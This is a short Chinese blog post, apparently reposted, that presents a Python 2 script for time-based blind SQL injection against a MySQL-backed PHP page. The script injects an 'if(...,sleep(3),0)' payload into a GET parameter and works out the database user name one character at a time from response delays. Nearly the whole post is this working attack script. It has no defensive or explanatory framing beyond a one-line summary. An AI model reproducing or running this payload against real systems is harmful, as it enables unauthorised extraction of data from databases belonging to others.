SQL注入脚本(基于时间)

本文介绍了一种通过SQL注入攻击获取MySQL数据库用户名的方法。利用构造特定的SQL查询语句并观察服务器响应时间来逐位推断用户名。此过程使用Python脚本实现,并详细展示了如何设置HTTP请求头以及遍历字符集来确定用户名。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#encoding=utf-8
import httplib
import time
import string
import sys
import urllib
header = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 
                'Accept-Charset':'GB2312,utf-8;q=0.7,*;q=0.7', 
                'Accept-Language':'zh-cn,zh;q=0.5', 
                'Cache-Control':'max-age=0', 
                'Connection':'keep-alive', 
                'Keep-Alive':'115',
                'User-Agent':'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.14) Gecko/20110221 Ubuntu/10.10 (maverick) Firefox/3.6.14'}

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
    for payload in payloads:
        try:

            s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
            s = " and (if(%s,sleep(3),0))#" % s
            conn = httplib.HTTPConnection('127.0.0.1', timeout=3)
            conn.request(method='GET', url="/sql.php?cmd=1%s" % urllib.quote(s),headers=header)

            conn.getresponse()
            conn.close()
#            print '.',
        except Exception,e:
#            print e
            user += payload
            print '\n[surprise]:', user,
            time.sleep(3.0)
            break
print '\n[Done] MySQL user is %s' % user

 

转载于:https://www.cnblogs.com/lly-lly/p/5390916.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值